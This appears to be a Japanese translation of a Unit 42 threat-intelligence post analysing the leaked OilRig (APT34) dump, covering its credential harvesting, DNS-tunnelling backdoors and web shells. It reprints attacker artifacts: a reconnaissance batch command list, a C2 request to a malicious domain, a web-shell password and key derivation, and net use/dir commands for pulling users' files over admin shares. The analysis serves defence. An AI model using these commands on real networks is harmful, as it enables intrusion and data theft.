OilRig攻撃の舞台裏

By and

Category: Unit 42

Tags: , , ,

This post is also available in: English (英語)

概要

2016年5月に初めてOilRigグループを発見して以来、Unit 42は、彼らの活動と経時的な進化を監視、観察、追跡し続けてきました。それ以降、OilRigは、業界の他の人々によって厳密に調査され、APT34やHelix Kittenなどの追加の名前が付けられてきました。OilRigグループは特に高度なわけではありませんが、使命目的の追求においてきわめて忍耐強く、スパイ行為を動機とする他の一部の攻撃者とは異なり、既存の攻撃方法から逸脱することをまったくいとわず、新しい手法を用いて目的を達成します。時間の経過とともに、調査を通じて、彼らの攻撃がどのように実行されているか、どのようなツールを使用しているか、さらに、彼らがVirusTotalを検出チェック システムとして使用する過程を追跡することで、彼らの開発サイクルがどのようなものであるかについてさえ、固有の詳細を明らかにすることができました。しかし、アクセスしたデータの性質上、弊社の見地は主に標的または被害者からの見地であり、一般に、攻撃時のアーティファクトに限定されています。

最近、運用側から、データ ダンプが漏洩され、OilRig活動に関連するデータであると一般の人々が主張するために利用されるようになりました。弊社は、資格情報ダンプ、バックドア、Webシェル、その他の興味深いファイルが含まれたデータ ダンプを取得しました。その後、いくつかの報道機関とその他のリサーチャーが独自の評価を行ってきましたが、弊社の評価では、データ ダンプに含まれるアーティファクトが、既知のOilRigの動作およびツールセットと実際に一致することがわかりました。さらに、データ ダンプによって、ある時点までさかのぼって、以前の調査とOilRigの運用データを比較することができました。これによって、弊社の調査の精度を検証できただけでなく、以前に存在した、OilRigの攻撃ライフ サイクルのギャップを埋めることができました。データ ダンプを分析することで、BONDUPDATERバックドアとそのサーバー コンポーネントがどのように機能するか、OilRigによる展開内のいくつかのWebシェルの外観と機能、これらの各ツールの内部動作名を正確に特定し、さらに、世界的な見地からOilRig動作がいかに広範囲に及ぶかについて、より明確に理解できました。

OilRigの攻撃下にあると見られる組織は、政府機関から、メディア、エネルギー、輸送と流通、テクノロジー サービス プロバイダまで、さまざまな業界にわたり広範囲に広がっています。弊社は、合計すると、約13,000の窃取された資格情報、100を超える展開済みWebシェル、27カ国、97の組織、18の業界における侵害されたホストへの10個近いバックドア セッションを特定しました。

このデータ ダンプに含まれる情報は、次のとおりです。

  • 窃取された資格情報
  • 窃取した資格情報を使用してログインする候補となるシステム
  • 展開済みWebシェルのURL
  • バックドア ツール
  • バックドア ツールのコマンド&コントロール サーバー コンポーネント
  • DNSハイジャックを実行するためのスクリプト
  • 特定の個々のオペレーターを特定する文書
  • OilRig運用システムのスクリーンショット

漏洩

2019年3月中旬に、ユーザー ハンドルが@Mr_L4nnist3rの不明な存在がいくつかのハッキング フォーラムとTwitter上に出現し、彼らはOilRigグループによって使用された内部ツールとデータを含むデータ ダンプにアクセスしたと主張しました。初期の主張には、OilRigオペレーターが攻撃用に使用した可能性のあるシステムのいくつかのスクリーンショット、DNSハイジャックに使用されたと見られるスクリプト、およびOilRigバックドア用のコマンド&コントロール サーバー パネルを含むと称するファイル名がGlimpse.rarのパスワード保護されたアーカイブが含まれていました。その直後に、ユーザーハンドルが@dookhteganのTwitterアカウントが出現し、図1に示すとおり、彼らもOilRigグループによって使用された内部ツールとデータを含むデータ ダンプにアクセスしたと主張しました。このアカウントでは、Mehdy Kavousiという名前の注目を集めたイラン人亡命希望者の2004年の有名な画像が使用されています。彼の亡命申請を拒否し、彼をイランに送還することは、彼を死に至らしめるのと同じであることを示すため、目と口を閉じて縫い合わせたあの画像です。おそらく、この特定の画像は抗議の象徴として選択されたのでしょうが、それ以外の理由はわかりません。初期アカウントの作成以降、オリジナルの定式化されたバージョンがプロフィール画像として置き換えられ、元の個人が誰であるかを判別するのはさらに一段と困難になりました。

図1:OilRig漏洩に関連付けられたファイルを提供する@dookhteganによるツイート

このアカウントは、OilRigグループに抗議し、その動作が特定の国と組織に起因すると主張する一連のツイートを続けました。Unit 42は、このレベルの帰属性を検証できませんでしたが、米国のNational Counterintelligence and Security Centerの2018年のレポートでは、OilRigグループはイランの集団が発生源であると述べられていました。アカウントは、匿名ファイル共有サービス上でホストされた動作データ ダンプへの直接リンクを含むツイートの投稿を続けました。

投稿されたファイルには、以前にパスワード保護されていたアーカイブGlimpse.rar、および侵害した組織から収集した数百の資格情報と無防備なログイン プロンプトの詳細を含む新しいアーカイブが含まれていました。また、以前に展開済みおよびおそらく新たに展開されたWebシェルへのリンク、Webシェルのソース コード、もう1つのバックドアとそのサーバー コンポーネントもありました。

このアカウントはすぐに停止されましたが、停止された直後に、同じ定式化されたプロフィール画像を用いたユーザー名@dookhtegan1という代替のアカウントが出現し、現在も引き続きアクティブです。このアカウントは、OilRigグループを暴露する以前のメッセージをミラーしていますが、もはやデータ ダンプへのリンクは含まれていません。代わりにデータに関心を持つ人たちに、プライベートTelegramチャネルでそれらに参加するよう指示しています。図2は、データを漏洩するためのTelegramチャネルを提供するこの2番目のTwitterアカウントを示しています。

図2:漏洩したファイルのTelegramチャネルを提供する2番目のアカウント@dookhtegan1によるツイート

データ ダンプのコンテンツ

データ ダンプのコンテンツには、スパイ活動の結果と見られるさまざまなタイプのデータセット、初期の侵害、OilRigオペレーターが標的組織に対して使用したツールが含まれています。影響を受けた組織は、政府機関から、メディア、エネルギー、輸送と流通、テクノロジー サービス プロバイダまで、さまざまな業界に及び広範囲に広がっています。データセットには以下が含まれていました。

  • 窃取された資格情報
  • 窃取した資格情報を使用してログインする候補となるシステム
  • 展開済みWebシェルのURL
  • バックドア ツール
  • バックドア ツールのコマンド&コントロール サーバー コンポーネント
  • DNSハイジャックを実行するためのスクリプト
  • 特定の個々のオペレーターを特定する文書
  • OilRig運用システムのスクリーンショット

弊社は、疑惑のあるOilRigオペレーターの詳細情報を含む文書以外の各タイプのデータセットを分析しました。それらは引き続き、以前に観察したOilRigのTTP(Tactics, Techniques, and Procedures: 戦術、技術、手順)と一致していました。この分野への可視性は不足しているため、個々のオペレーターを詳述する文書の妥当性は確定できませんが、それらの妥当性を疑うための理由もありません。

データ ダンプで見つけた興味深いアーティファクトは、追跡してきたさまざまなツールに付けられたOilRig脅威攻撃者自身の内部名です。表1は、内部運用名とこれらのツールを追跡するために弊社が使用している名前を示しています。

ツールのタイプ 内部名 業界名
バックドア Poison Frog BONDUPDATER
バックドア Glimpse 更新されたBONDUPDATER
Webシェル HyperShell TwoFaceローダー
Webシェル HighShell TwoFaceペイロード
Webシェル Minion TwoFaceペイロード亜種
DNSハイジャック ツールキット webmask DNSpionage関連

表1:OilRigデータ漏洩で暴かれたツールと、セキュリティ コミュニティで使用されている名前に対応付けられたそれらの内部名

資格情報ダンプ

弊社の分析では、計15の組織が何らかの方法で資格情報が盗まれ、後から追加の攻撃で悪用するためにOilRigグループのテキスト ファイルに保存されたことがわかりました。合計すると、約13,000セットの資格情報がデータ ダンプに含まれています。資格情報は、MimiKatzやその亜種のZhuMimiKatzなどのエクスプロイト後パスワード復元ツールの使用など、複数の手法を介して窃取されたようです。これらのツールに加え、OilRig攻撃者がブルートフォース、SQLインジェクション、2017年9月に公開された「Striking Oil」のブログで説明した従来の資格情報収集ツールキットの使用を通じて資格情報を取得したことは確実です。

データ ダンプ内で見つかった資格情報の大半は1つの組織のものであり、Active Directory全体がダンプされたように思われます。

このデータ ダンプにリストされた組織のタイプは、複数の業界にわたっていますが、大半が中東地域に位置しています。これらの盗まれた資格情報がすべて、本当に有効な資格情報のセットであるかどうかは確定できませんが、以前に観察した活動、タイムスタンプ、既知の動作に基づいて、これらの資格情報が有効だった、または引き続き有効である可能性はかなり高いと言えます。

資格情報のリストが有効であると仮定すると、大量採取は、OilRigグループが、展開する他のタイプの攻撃とともに、資格情報ベースの攻撃をきわめて重視し続けているという弊社の仮説を裏付けます。これは、スパイ行為を動機とする大半の攻撃者と合致しており、攻撃者は正規の資格情報でアクセスを得ると、正規ユーザーになりすまし、基本的に部内者による脅威となることができます。大半の保護はマルウェアを捕捉することを目的としていますが、攻撃者は正規ユーザーとしてなりすましているため、このタイプの活動は、カスタム ツールが使用された場合に比べ、検出するのがはるかに困難です。

弊社は、過去の調査で収集したアーティファクトに基づいて、OilRigグループは、初期侵害後すぐに権限のエスカレートを試み、その後、ローカルのMicrosoft Exchangeサーバーへ横方向に移動し、そこで、より多くの資格情報を収集し、WebシェルやIISバックドアなどの追加のツールを埋め込む傾向が強いと、社内で仮定しました。FireEyeのリサーチャーによって提供されたプレゼンテーションでは、攻撃戦略内でRulerと呼ばれるエクスプロイト後ツールキットを展開することに加え、OilRigに関連付けられたインシデントのこの正確な攻撃ライフサイクルが説明されています。Rulerは、オープン ソースの侵入テスト ツールキットです。盗んだ資格情報を介してOutlook Web Access(OWA)にアクセス可能で、その後、組み込み機能を悪用して、グローバル アドレス リストの取得、悪意のある電子メール ルールの設定、OilRigの場合は、リモート コードの実行を含むさまざまなアクションを実行することを前提としています。

OilRigグループが使用していたRulerの特定の機能が、Ruler.Homepage関数です。この関数は、管理者またはユーザーが受信トレイ内の任意のフォルダにデフォルトのホームページを設定できるMicrosoft Outlookの機能を悪用しています。オペレーターは、窃取した資格情報とRulerを使用して、RPCプロトコルを介して標的の組織のOWAインスタンスにコマンドを送信し、その後リモートで、侵害した受信トレイのフォルダに任意のホームページを設定します。さらに、オペレーターは、悪意のあるコードを自動的に取得し実行するために、コマンドをホームページに内包させます。OilRigの場合、バックドアを取得して実行し、資格情報が盗まれたユーザーが使用しているエンドポイントへのアクセスを即座に得るためのコマンドが内包されました。

バックドア

データ ダンプには、弊社が以前にOilRig脅威グループに関連付けた2つのバックドアが含まれていました。どちらも、以前はBONDUPDATERと呼んでいました。一般的に言うと、攻撃に含まれる埋め込みやペイロードは取得できますが、通常、サーバー側のコンポーネントは見えません。このデータ ダンプは、バックドアとそれらに関連付けられたサーバー コンポーネントを提供していました。サーバー コンポーネントによって、弊社は、バックドアがどのように機能しているかについて、異なる視点を得ることができました。さらに、バックドアが実際にはOilRigによって内部ではGlimpseおよびPoison Frogと呼ばれ、機能的に2つの異なるツールであることを発見しました。

Glimpse

データ ダンプ内のGlimpseツールは、弊社が2018年9月に公開したレポートで中東の政府組織に配信されたことを発見した、更新されたBONDUPDATERツールに関係しています。弊社は最近、4月16日の別のレポートで、このツールについて説明しました。このBONDUPDATERツールの亜種は、DNSトンネリングを使用してそのC2と通信し、特に、TXTクエリを使用してC2サーバーから情報を受信していました。

データ ダンプには、表2に示すGlimpseツールの以下の3つの必須コンポーネントと、Glimpseのセットアップおよび使用方法を説明するRead me.txtファイルが含まれていました。

コンポーネント 説明
エージェント 侵害したシステム上で実行するためのPowerShellスクリプト
サーバー DNSトンネリングを介して通信するコマンド&コントロール サーバー
パネル 攻撃者がコマンドを実行したり、サーバーを介してエージェントとの間でファイルをアップロードまたはダウンロードしたりできるグラフィカル ユーザー インターフェイス

表2:Glimpseツールの3つのコンポーネント

Glimpseは、コメント バージョン2.2を含むPowerShellスクリプトです。これは、OilRigグループがこれを特定のバージョンのツールと見なしており、さらに、以前のバージョンが含まれている可能性があることを示唆しています。

Glimpseパネルのバージョン「v1.0.5」は、攻撃者が侵害したシステムにインストールしたさまざまなエージェントを編成するために使用するツールです。パネルを使用して、攻撃者は侵害したエンドポイントとの間でファイルをアップロードおよびダウンロードしたり、さらに、コマンドを実行したりすることができます。コンパイル時間によると、Glimpseパネルの開発者はこのツールを2018年9月1日に作成しました。図3は、テスト環境での3つの異なるエージェントのリストを示すメインGlimpseパネルを示しています。

図3:3つの侵害されたシステムを示すGlimpseパネル

特定のエージェントとやり取りするため、攻撃者はエントリを選択して、エージェント コントロール パネルを開きます。エージェント コントロール パネルには、攻撃者がコマンドの発行、エージェントとの間でのファイルのアップロードおよびダウンロードを実行できるインターフェイスを備えた3つのタブがあります。「Command (コマンド)」タブは、図4に示すとおり、以前に実行したコマンド、それらが実行された日時、およびそれらのステータスを示します。

図4:攻撃者がコマンドを送信するために使用するインターフェイスを示すGlimpseのエージェント コントロール パネル

攻撃者がコマンドをクリックすると、「Result Viewer (結果ビューア)」というポップアップ ウィンドウに結果が表示されます。図5は、実行したコマンドの結果を示す「Result Viewer (結果ビューア)」ウィンドウを示しています。

図5:実行したコマンドの結果を示す「Result Viewer (結果ビューア)」ウィンドウ

Glimpseのサーバー部分はDNSサーバーとして機能することでパネルと連携して動作します。これは、JavaScriptで記述され、Node.jsランタイムで実行されます。サーバーには、srvr.jsという名前のファイルがあり、Read me.txtファイルによると、このファイルはNode.js内でforever start srvr.jsを使用して実行されます。図6は、Glimpseエージェントからのインバウンド ビーコンに応答し、コマンドwhoamiを送信しているGlimpseサーバーを示しています。また、スクリーンショットは、Glimpseサーバーがエージェントによって実行されたwhoamiコマンドの結果を受信していることも示しています。

図6:エージェントにコマンドを発行し、コマンドの結果を受信しているGlimpseサーバー

Poison Frog

データ ダンプに含まれていた2番目のバックドアは、Poison Frogと名付けられています。データセットには、攻撃者が標的のシステムにインストールするエージェントと、攻撃者と侵害したシステムとのやり取りを可能にするサーバーの両方が含まれています。Poison Frogツールは、2017年12月のFireEyeのレポートによると、中東で標的型攻撃に使用されたBONDUPDATERの亜種であるようです。

表3は、データ ダンプ内に含まれたエージェントに関連付けられたファイルを示しています。その中でも、Poison FrogのdUpdater.ps1部分は、OilRigのDNSトンネリング プロトコルについて言及した弊社の最近のブログで説明したとおり、C2チャネル用にDNSトンネリングを使用しているBONDUPDATERの初期の亜種のようです。興味深いことに、これらのPoison Frogエージェント スクリプトはどちらも、C2サーバーとしてドメインmyleftheart[.]comを使用するよう設定されていました。ただし、いずれの攻撃においてもこのドメインは確認されておらず、それを既知のOilRigインフラストラクチャと関連付けることはできませんでした。

ファイル名 SHA256 説明
poisonfrog.ps1 27e03b98ae0f6f2650f378e9292384f1350f95ee4f3ac009e0113a8d9e2e14ed hUpdater.ps1とdUpdater.ps1をインストールするドロッパ
hUpdater.ps1 995ea68dcf27c4a2d482b3afadbd8da546d635d72f6b458557175e0cb98dd999 C2用にHTTPを使用するPoison Frogエージェント
dUpdater.ps1 0f20995d431abce885b8bd7dec1013cc1ef7c73886029c67df53101ea330436c C2用にDNSトンネリングを使用するPoison Frogエージェント

表3:漏洩で提供されたPoison Frogエージェントに関連付けられたファイル

Glimpse C2サーバーと同様に、Poison FrogサーバーはJavaScriptで記述され、Node.js内で実行されます。Poison Frogサーバーは、hUpdater.ps1およびdUpdater.ps1スクリプトによって使用されるHTTPとDNSの両方のトンネリング チャネルを処理します。サーバーのコードによると、新たに感染したシステムに対して発行されるデフォルトのコマンドは、0000000000.batという名前のファイルに含まれるバッチ スクリプトでした。データ ダンプには0000000000.batファイルが含まれていました。このファイルは感染したシステムで実行されると、以下のコマンドを実行して、C2サーバーに返送するための情報を収集します。

  • whoami
  • hostname
  • ipconfig /all
  • net user /domain
  • net group /domain
  • net group "domain admins" /domain
  • net group "Exchange Trusted Subsystem" /domain
  • net accounts /domain
  • net user
  • net localgroup administrators
  • netstat -an
  • tasklist
  • systeminfo
  • reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default"
  • schtasks /query /FO List /TN "GoogleUpdatesTaskMachineUI" /V | findstr /b /n /c:"Repeat:Every:"
  • WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

このバッチ スクリプトは、echoコマンドを使用して、各コマンド結果の前にヘッダーを含める点でも興味深いと言えます。このバッチ スクリプトに含まれるヘッダーは非常に見慣れた印象を受けます。それは、2016年10月に弊社がレポートしたように、Clayslide配信文書によって配信されたHelminthバックドア(SHA256: 903b6d948c16dc92b69fe1de76cf64ab8377893770bf47c29bf91f3fd987f996)用のHTTP C2チャネルを介して提供された、非常によく似たバッチ スクリプトを見たことがあるからです。Helminthバックドア(SHA256: 1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c)からの以下のHTTPリクエストによって、同様のバッチ スクリプトがダウンロードされていました。

GET /update-index.aspx?req=1786873725%5Cbat&m=d HTTP/1.1

Host: update-kernal[.]net

Connection:Keep-Alive

Poison Frogのデフォルト コマンドとして配信されたバッチ スクリプトと、Helminthバックドアに提供されたスクリプトとの類似点を視覚化するため、コード比較を行いました。図7は、これら2つのバッチ スクリプトがいかに似ているかを示しています。つまり、いくつかのヘッダーは正確に同一で、コマンドの大半は出力にコマンド エラーを含めるために2>&1サフィックスを持つHelminthコマンドと同じでした。

図7:Poison FrogのC2によって実行されたデフォルトのバッチ スクリプトと、Helminthトロイの木馬によって受信されたバッチ スクリプトとのコード比較

Webシェル

データ ダンプには、侵害したサーバーとやり取りするためにOilRigによって使用されたと思われる、いくつかの異なるWebシェルが含まれていました。ダンプに含まれていた3つのWebシェルの名前は、HyperShell、HighShell、Minionでしたが、Minionは、コード、ファイル名、機能の重複を考慮すると、HighShellの亜種である可能性が高いようです。HyperShellとHighShell Webシェルは、弊社がTwoFaceとして追跡しているものの亜種です。2017年7月にレポートしたとおり、HyperShellはTwoFaceローダーに関連しており、HighShellはTwoFaceペイロードに関連しています。OilRigによって使用されている実際のWebシェルに加え、データ ダンプには、侵害されたWebサイトでホストされているWebシェルの既存の展開のリストが含まれています。100を超えるWebシェルへのリンクがリストされており、図8に示すとおり、それらは4大陸にまたがり、26カ国の87の組織に及んでいます。

図8:影響を受けた組織に存在するWebシェルの地理的位置

HyperShell

データ ダンプに含まれるHyperShell Webシェル(SHA256: e483eee77fcc5ef11d5bf33a4179312753b62ec9a247dd14528cc797e7632d99)は、2017年7月にレポートしたとおり、弊社がTwoFace++と呼んでいるTwoFaceローダーの3DES亜種の例です。

TwoFace++ローダーの初期調査中には、初期TwoFaceローダー サンプルで使用したものと同じブルート フォース手法を使用したものの、埋め込みペイロードを抽出できませんでした。

初期TwoFaceローダー サンプルは、攻撃者が提供したキーを使用して埋め込みWebシェルを復号していましたが、これは単純な数値演算(具体的には"+"または"-")とローダーWebシェルに埋め込まれたソルト文字列を使用して変更されました。つまり、単純な数値演算(ここでも、"+"または"-")を使用して埋め込みペイロードを復号しています。弊社は、埋め込みソルトと埋め込み暗号テキスト、さらに逆の数値演算を使用して、攻撃者が提供したキーをブルート フォースすることができました。そのため、埋め込みWebシェルを容易に抽出できました。

初期TwoFaceローダーと異なり、TwoFace++ローダーは、3DES暗号と攻撃者によって提供されキーとして使用された文字列のSHA256ハッシュを使用していたため、攻撃者が提供したキーを判別できず、埋め込みWebシェルを抽出できませんでした。ただし、このダンプ内のHyperShellサンプルは、埋め込みWebシェルを復号するのに必要な攻撃者が提供したキーを判別するための必須情報を提供していました。多くの初期TwoFaceローダー サンプルと同様に、HyperShellサンプルには、HTMLタグ<pre>と</pre>の中に文字列が含まれています。この文字列は、パスワードが入力されない場合、またはTwoFace++ローダーが埋め込みペイロードWebシェルを抽出できない場合に、ブラウザに表示されます。HyperShellサンプル内のpreタグは次のとおりです。

<pre><%= Server.HtmlEncode("NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a") %></pre>

 

図9では、HyperShellがブラウザで<pre>タグの内容を表示しています。


図9:HyperShellによる<pre>タグで囲まれたパスワードの表示

<pre>タグで囲まれた文字列は、攻撃者が設定したパスワードであると判断しました。このパスワードは、Webシェルによって、埋め込まれているペイロードを復号する鍵として使用されます。弊社は、TwoFace++ローダーWebシェルが、攻撃者が設定したパスワードを使用して認証を行い、埋め込まれたWebシェルを復号する次のプロセスをたどることによって、このことを突き止めました。

  • ソルトとして機能する文字列をパスワードに付加する
  • パスワードとソルトを含む生成された文字列のSHA1ハッシュを取得する
  • SHA1をBase64エンコードする
  • エンコードされたハッシュとハードコードされたBase64文字列を比較する
  • エンコードされたハッシュとハードコードされたBase64文字列が一致した場合は、インバウンドリクエストが認証される
  • パスワード文字列のSHA256ハッシュを生成する
  • SHA256ハッシュをBase64エンコードして、先頭の24文字を鍵として使用する
  • 24文字の鍵と3DES暗号を使用して、埋め込まれたWebシェルを復号する

それでは、TwoFace++ローダーのサンプルの値を使用して、この動作を見てみましょう。攻撃者が設定したパスワード「NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a」に、ハードコードされたソルト文字列「aqB2nU65TgFoEfdVqiAddBQLInc9」を付加します。生成された文字列「NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7aaqB2nU65TgFoEfdVqiAddBQLInc9」のSHA1ハッシュは「9d3ff106fbc3508b8453c7d6f285543d0b9c2721」であり、これをBase64エンコードすると「nT/xBvvDUIuEU8fW8oVUPQucJyE=」になります。サンプル内にハードコードされているBase64エンコードされたパスワードは「nT/xBvvDUIuEU8fW8oVUPQucJyE=」なので、<pre>タグで囲まれている文字列がパスワードであることが確認されました。

認証が終わると、TwoFace++ローダーはパスワードを使用して埋め込まれたWebシェルを復号します。TwoFace++は、パスワードを3DESの鍵として使用するために、パスワード文字列「NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a」のSHA256ハッシュ「11f66b55f3d24303621e5ef9565b02a576cc58bc5f8789cae96c3d400064b90e」を生成します。このSHA256ハッシュをBase64エンコードして、エンコード済み文字列「EfZrVfPSQwNiHl75VlsCpXbMWLxfh4nK6Ww9QABkuQ4=」を生成し、その先頭の24文字を3DESの鍵として使用します。この場合、「EfZrVfPSQwNiHl75VlsCpXbM」を3DESの鍵として使用して、Webシェル(SHA256:d2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619)を生成します。これは、前回のブログ記事で公開したTwoFaceのペイロードのWebシェルに一致します。得られたWebシェルは、HighShell、特にバージョンv5.0の亜種であるように思えます。

見たところHighShellのバージョンv5.0とTwoFaceのペイロード(SHA256:54c8bfa0be1d1419bf0770d49e937b284b52df212df19551576f73653a7d061f)がそっくりだったので比較してみました。図10は、この2つのWebシェルが1つのユーザー インターフェイスを共有していて、大きな違いはHighShell Webシェルにバージョン番号「v5.0」が表示されていること、左下にエラーメッセージとコマンドの実行結果を表示するための3つの小さなボックスが表示されていることの2点であることを示しています。

図10:HighShell v5.0とTwoFaceのペイロードの違いを示すアニメーション

見た目の類似性を補うために、2つのWebシェルのコードを分析して、重複部分を特定しました。2つのWebシェルは、コードの大部分を共有しており、違っている部分のほとんどは変数名や関数名のわずかな違いだけでした。一番大きな違いは、HighShell v5.0 Webシェルには、認証用に攻撃者が設定したパスワードに適用するソルト値が追加されているという点です。図11では、左側のTwoFaceのペイロード(SHA256:54c8bfa0be1d1419bf0770d49e937b284b52df212df19551576f73653a7d061f)と右側のHighShell v5.0(SHA256:d2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619)を比較しています。コードを比較すると、HighShellのコードにあるソルト変数(値は「di2zag7wZHTK9YR0NGq」)が、左側のTwoFaceのコードには存在しないことがわかります。

図11:HighShell v5.0とTwoFaceペイロードの比較

図11の比較では、2つのサンプルでどのくらいのコードが共有されているのかもわかります。弊社では、TwoFaceのペイロードをベースにしてHighShell v5.0 Webシェルが作成されたと結論付けています。HighShell v5.0は、OilRigがその活動全体を通じて続けてきた開発作業の中で作成されたものです。

HighShell

データ ダンプには、HighShellという名前のWebシェルも含まれていました。弊社が検出したHighShellは、前のセクションで説明したように、HyperShellによってドロップされます。ダンプには、HighShellのさまざまなサンプルが多数含まれていました。その中から、表4に示すように、少なくとも3種類の異なるバージョンが検出されました。バージョン番号が増えていることは、OilRigがその活動で使用するために、継続的にHighShellの開発を進めていることを示唆しています。

SHA256 ファイル名 バージョン
fe9cdef3c88f83b74512ec6400b7231d7295bda78079b116627c4bc9b7a373e0 error4.aspx v5.0
22c4023c8daa57434ef79b838e601d9d72833fec363340536396fe7d08ee2017 HighShell.aspx v7.1
691801e3583991a92a2ad7dfa8a85396a97acdf8a0054f3edffd94fc1ad58948 HighShellLocal.aspx 8.6.2

表4:リークされたデータに含まれていたバージョン付きの3種類のHighShell Webシェル

ただし、バージョン番号自体は、一貫性を持って更新されているわけではないようです。たとえば、前のセクションでHyperShellによって抽出されたHighShell Webshell (SHA256:d2b835b102117e327fdc4905ead24d45f46e82dd5ae525e90cca0a685d307619)は「v5.0」というバージョン番号を表示しますが、これは明らかにファイル名が「error4.aspx」である「v5.0」のHighShell(図12参照)とは異なっています。

図12:新しいカラー スキームと「Explorer(エクスプローラー)」タブを採用したHighShell v5.0

図12は、ユーザー インターフェイスで新しいカラー スキームを使用している、HighShell v5.0のもう1つのサンプルです。ただし、その機能の大部分は、HyperShellから抽出したv5.0の他のサンプルと同じです。HighShell v5.0のこの亜種の興味深い新機能として、「Main(メイン)」タブと「Explorer(エクスプローラー)」タブで構成される表形式のインターフェイスが導入されています。「Main(メイン)」タブには、TwoFaceペイロードとHighShell v5.0の他のサンプルと同じ機能があります。「Explorer(エクスプローラー)」タブでは、図13に示すように、侵害されたサーバーのファイルシステム内を攻撃者が移動できるようになっています。

図13:HighShell v5.0の「Explorer(エクスプローラー)」タブでは攻撃者がファイルシステム内を移動可能

データ ダンプから検出されたHighShell v7.1亜種は、旧バージョンと同じ機能を提供し、表形式の手法を引き継いでいますが、主要機能を「Command(コマンド)」、「Explorer(エクスプローラー)」、「Upload(アップロード)」、「Download(ダウンロード)」、「Sql Server(SQLサーバー)」、「Change Time(時刻変更)」をはじめとする複数のタブに分割する拡張が行われています。図14に、HighShell v7.1とその複数のタブを示します。

図14:HighShell v7.1ではWebシェルのさまざまな機能が複数のタブに分散されている

データ ダンプには、「ShellLocal-v8.8.5.rar」という名前のアーカイブも含まれていました。この中には、HighShellのもう1つの亜種が含まれています。このアーカイブ名はHighShellの亜種のバージョンがv8.8.5であることを示唆していますが、ユーザーインターフェイスではバージョンが8.6.2であることが示唆されています(図15を参照)。HighShellのこの亜種は旧バージョンのコードを共有していますが、OilRigによってこのWebシェルのアーキテクチャの見直しが行われたらしく、フロント エンド ユーザー インターフェイスがAJAX Webリクエスト経由でバック エンド スクリプトと通信するアーキテクチャになっています。アーキテクチャの変更以外に、このバージョンのHighShellではインターフェイスも強化されています。

図15:インターフェイスが更新されたHighShell v8.6.2

HighShellのバージョン8.6.2では、大部分の機能を旧バージョンと共有していますが、さまざまな興味深い新機能も追加されています。このバージョンのHighShellの興味深い機能には、さまざまな実行可能モジュール、ネットワーク ダウンローダー機能、スパイ チェック機能などがあります。

モジュール

HighShell 8.6.2には、Webシェルに付属するさまざまなモジュールを使用する機能が含まれています。これらのモジュールは、Webシェルにあらかじめパッケージ化されているPE実行可能ファイルであり、Webシェルの機能をさらに拡張します。表5に、HighShellのこの亜種に付属している各モジュールを示します。Webシェルの「Explorer(エクスプローラー)」タブでは、7zaモジュールを使用してファイルをアーカイブします。Webシェルは、nbtscanモジュールを使用して、ネットワークをスキャンして接続されているシステムを調査し、通信可能なシステムのIPリストを作成します。Webシェルがリモート実行モジュールを使用する方法は解明できませんでしたが、実際にはリモート実行モジュールを使用していないと思われます。

ファイル名 SHA256 説明
7za.exe dd6d7af00ef4ca89a319a230cdd094275c3a1d365807fe5b34133324bdaa0229 7-Zip 17.01 beta
nbt.exe c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e nbtscan 1.0.35
rx.exe a6a0fbfee08367046d3d26fb4b4cf7779f7fb6eaf7e60e1d9b6bf31c5be5b63e IntelliAdmin Remote Execute v1.0

表5:HighShell v8.6.2に含まれるモジュール

スパイ チェック

スパイ チェック機能は、Webシェルの右上隅にカウントダウン タイマー付きのボックスとして表示されます。タイマーは300からスタートして、1秒ごとに1ずつ減っていきます。これは、Webシェルがスパイ チェック機能を5分おきに実行することを示唆しています。スパイ チェック機能には興味を引かれます。なぜなら、スパイ アイコンを赤のボックスで、ハート アイコンを緑のボックスで、それぞれ表示する以外に、その正確な目的がわからないからです。この機能は、変更されたHighShellフロント エンドWebシェルを攻撃者が使用している場合に、そのことを攻撃者に通知するためのものだったと弊社では考えています。おそらくその目的は、サード パーティによって検出され、変更されたWebシェルを攻撃者が使用するのを防ぐためです。これが意図された機能であると弊社が推測する理由はこうです。スパイ チェック機能は最初にHighShellフロント エンドの.aspxファイル(この場合はHighShellLocal.aspx)を読み込みます。次に、HighShellフロント エンドのSHA256ハッシュを生成して、ハードコードされているSHA256である「f35e566e28be5b3257670be6e125eb90814b9cb27df997090cea0b7a22fbd75c」と比較し、このWebシェルが変更されたものかどうかを調べます。ハッシュが一致しない場合、Webシェルは赤のボックスでスパイ アイコンを表示します(図15を参照)。一致する場合、緑のボックスでハート アイコンを表示します。既知のサンプルはすべて赤のボックスでスパイ アイコンを表示します。これは、HighShellの開発者が開発作業中にこの機能を更新しなかったか、またはサンプルが何らかの方法で変更されたものであることを示しています。

ネットワーク ダウンローダー

攻撃者は、ネットワーク ダウンローダー機能を使用して、リモートの被害システムからユーザー ファイルを素早くアップロードできます。この機能を使用するには、攻撃者は、Webシェルの「Target Computer(対象コンピュータ)」部分で、管理者のユーザー名とパスワード、さらに「Select Computer(コンピュータの選択)」ドロップダウンで追加するリモート システムのIPアドレスのリストなどの情報を入力する必要があります。Webシェルは、ネットワーク ダウンロードを実行する前に、自身が実行されているサーバーのストレージ ボリュームを調べて、空き容量が30 GB以上あるかどうかを確認します。サーバーの空き容量が30 GB未満の場合、Webシェルはダウンロードを実行しません。これは、Webシェルの開発者が、被害ネットワークから大量のデータをダウンロードすることを想定していることを示しています。Webシェルは、IPリストを反復処理して、IPごとに一連のコマンドを実行します。最初は、リモート システムに接続するために次のコマンドを使用します。

net use [IPアドレス] /user:[ドメインadminユーザー名] [ドメインadminパスワード] 2>&1

Webシェルは、net useを使用してリモート システムに接続した後、次のコマンドを実行してユーザー フォルダのリストを取得します。

dir /b [IPアドレス]\c$\Users 2>&1

ユーザー フォルダのリストを入手したWebシェルは、ユーザーのリストを反復処理して、次の各フォルダに存在するすべてのファイルを列挙します。

[IPアドレス]\c$\Users\[ユーザー名]\Desktop

[IPアドレス]\c$\Users\[ユーザー名]\Documents

